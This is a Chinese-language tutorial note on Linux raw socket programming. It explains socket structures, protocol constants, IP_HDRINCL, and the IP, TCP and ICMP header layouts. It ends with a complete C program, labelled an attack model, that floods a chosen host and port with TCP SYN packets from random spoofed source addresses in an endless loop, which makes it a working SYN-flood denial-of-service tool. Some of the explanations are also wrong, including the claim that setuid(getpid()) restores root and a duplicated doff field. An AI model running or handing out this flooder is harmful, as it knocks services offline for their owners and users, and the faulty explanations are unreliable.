原始套接字编程
struct socket {
socket_state state;
unsigned long flags;
const struct proto_ops *ops;//指定当前socket是什么协议
struct fasync_struct *fasync_list;
struct file *file;
struct sock *sk;
wait_queue_head_t wait;
short type;
};
const struct proto_ops;结构体是一个函数集合,指定当前 套接字 链接 绑定 等等的操作函数
socket() 创建套接字函数
int socket(int domain, int type, int protocol);
- 头文件:#include
- domain: IP 地址类型 ,
AF_INET
AF_INET6
- type: 为数据传输方式,
SOCK_STREAM
SOCK_DGRAM
- protocol :传输协议 0 表示默认
SOCK_RAW
原始套接字
如果 type 参数填 SOCK_STREAM protocol 默认为IP通信协议
如果 type 参数填 SOCK_RAW 表示原始套接字 protocol 则可以自己设置协议
protocol : 协议类型有
enum {
IPPROTO_IP = 0, //Dummy protocol for TCP
IPPROTO_ICMP = 1, //Internet Control Message Protocol
IPPROTO_IGMP = 2, //Internet Group Management Protocol
IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
IPPROTO_TCP = 6, //Transmission Control Protocol
IPPROTO_EGP = 8, //Exterior Gateway Protocol
IPPROTO_PUP = 12, /* PUP protocol */
IPPROTO_UDP = 17, /* User Datagram Protocol */
IPPROTO_IDP = 22, //XNS IDP protocol
IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
IPPROTO_RSVP = 46, // RSVP protocol
IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
IPPROTO_IPV6 = 41, //IPv6-in-IPv4 tunnelling
IPPROTO_ESP = 50, /* Encapsulation Security Payload protocol */
IPPROTO_AH = 51, //Authentication Header protocol
IPPROTO_BEETPH = 94, /* IP option pseudo header for BEET */
IPPROTO_PIM = 103, /* Protocol Independent Multicast */
IPPROTO_COMP = 108, //Compression Header protocol
IPPROTO_SCTP = 132, //Stream Control Transport Protocol
IPPROTO_UDPLITE = 136, //UDP-Lite (RFC 3828)
IPPROTO_RAW = 255, // Raw IP packets
IPPROTO_MAX
};
设置原始套接字还是需要使用 setsocketopt() 函数来设置
setsockopt() 设置选择值
**int setsockopt(int sock, int level, int optname, const void optval, socklen_t optlen);
- 头文件 :#include
- sock:将要被设置套接字
- level:套接字接口类型(章节)
- optname:设置的章中的哪一个节
- optval: 指向包含新选项值的缓冲
- optlen:缓冲 长度
- 返回值:成功为0
失败 -1
而 要实现 原始套接字类型 自己定义socke信息就需要把
- level = IPPROTO_IP
- optname = IP_HDRINCL
只要开启这两选项 就可以自己修改 socke
struct ip ip协议结构体
ip协议结构体
- 头文件: #include
struct ip
{
unsigned int ip_v:4; //版本
unsigned int ip_hl:4; //头长度
uint8_t ip_tos; //服务类型
unsigned short ip_len; //总长度 htons()
unsigned short ip_id; //标识
unsigned short ip_off; //片段偏移字段
uint8_t ip_ttl; //生存时间
uint8_t ip_p; //协议
unsigned short ip_sum; //校验和
struct in_addr ip_src, ip_dst;//源地址和目标地址
};
struct tcp tcp协议结构体
- 头文件:#include
struct tcphdr {
__be16 source; //源端口
__be16 dest; //目的端口
__be32 seq; //只要填 random() pid号
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
__be16 doff; // 5-10随便填
__be32 ack_seq; //指定的是下一个期望接收的字节
__be16 window; //是16位滑动窗口的大小,单位为字节
__sum16 check; //是检验和,覆盖了整个的TCP报文段
__be16 urg_ptr; //这个域被用来指示紧急数据在当前数据段中的位置
}
ICMP协议
ICMP协议包括 Ping 协议,OSPF协议
traceroute 协议 是路径探测协议
getprotobyname() 返回协议序号
忘记了协议的宏定义 可以使用这个函数来返回 宏定义的值
- 参数1:输入协议名
- 返回值:int
int protoclo = getprotobyname("icmp");
socket(AF_INET,SOCK_RAW,protoclo);
// protoclo == IPPROTO_ICMP
struct icmphdr
- 头文件:#include
- socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
struct icmp
{
uint8_t icmp_type; //消息类型
uint8_t icmp_code; //类型子代码
uint16_t icmp_cksum; //一个补充结构的校验和 check_sum()
uint16_t icd_id; //当前程序PID
uint16_t icd_seq; //序号 发送的第几个包
unsigned long i_timestamp;//当前时间
icmp_data;//数据段
};
uint8_t icmp_type; //消息类型有
宏定义 | 值 | 含义 |
---|---|---|
ICMP_ECHOREPLY | 0 | 回送应答 |
ICMP_DEST_UNREACH | 3 | 目标不可达 |
ICMP_SOURCE_QUENCH | 4 | 原点抑制 |
ICMP_REDIRECT | 5 | 重定向/改变路由 |
ICMP_ECHO | 8 | 回送请求 |
ICMP_NET_ANO | 9 | 路由器公告 |
ICMP_HOST_ANO | 10 | 路由器请求 |
ICMP_NET_UNR_TOS | 11 | 超时 |
ICMP_ADDRESS | 17 | 地址子网请求 |
ICMP_ADDRESSREPLY | 18 | 地址子网应答 |
struct timeval
struct timeval
{
__time_t tv_sec; /* Seconds. */
__suseconds_t tv_usec; /* Microseconds. */
};
给重新设置ROOT权限
setuid(getpid());
syn 包发送 / DNS攻击模型
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char** argv){
// args[1] 目标地址 args[2] 目标端口 args[3] 本地端口
int skfd;
struct sockaddr_in target;
struct hostent *host;
const int on=1;
unsigned short srcport;
if(argc!=4)
{
printf("Usage:%s target dstport srcport\n",argv[0]);
exit(1);
}
//DNS协议解析
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//因为只有root用户才可以play with raw socket :)
setuid(getpid());
srcport = atoi(argv[3]);
attack(skfd,&target,srcport);
}
//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
/* 此是IP头长度 此是tcpt头长度 */
//开始填充IP首部
ip=(struct ip*)buf;
ip->ip_v = IPVERSION; // IP版本号
ip->ip_hl = sizeof(struct ip)>>2; // TCP ip 长度
/* IP长度计算方法,IP头的长度除4取整,也就是右移两位*/
ip->ip_tos = 0; //
ip->ip_len = htons(ip_len); // 整个数据包的长度
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP; // ip协议
ip->ip_sum=0;
ip->ip_dst=target->sin_addr; //目的 IP
//开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source = htons(srcport); //源端口
tcp->dest = target->sin_port; //目的端口
tcp->seq = random(); //只要填 random()
tcp->doff = 5;
tcp->syn = 1; // 根据协议来设置
tcp->check = 0;
while(1){
//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
ip->ip_src.s_addr = random();
tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
}
// 此计算 check 的算法固定
unsigned short check_sum(unsigned short *addr,int len){
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}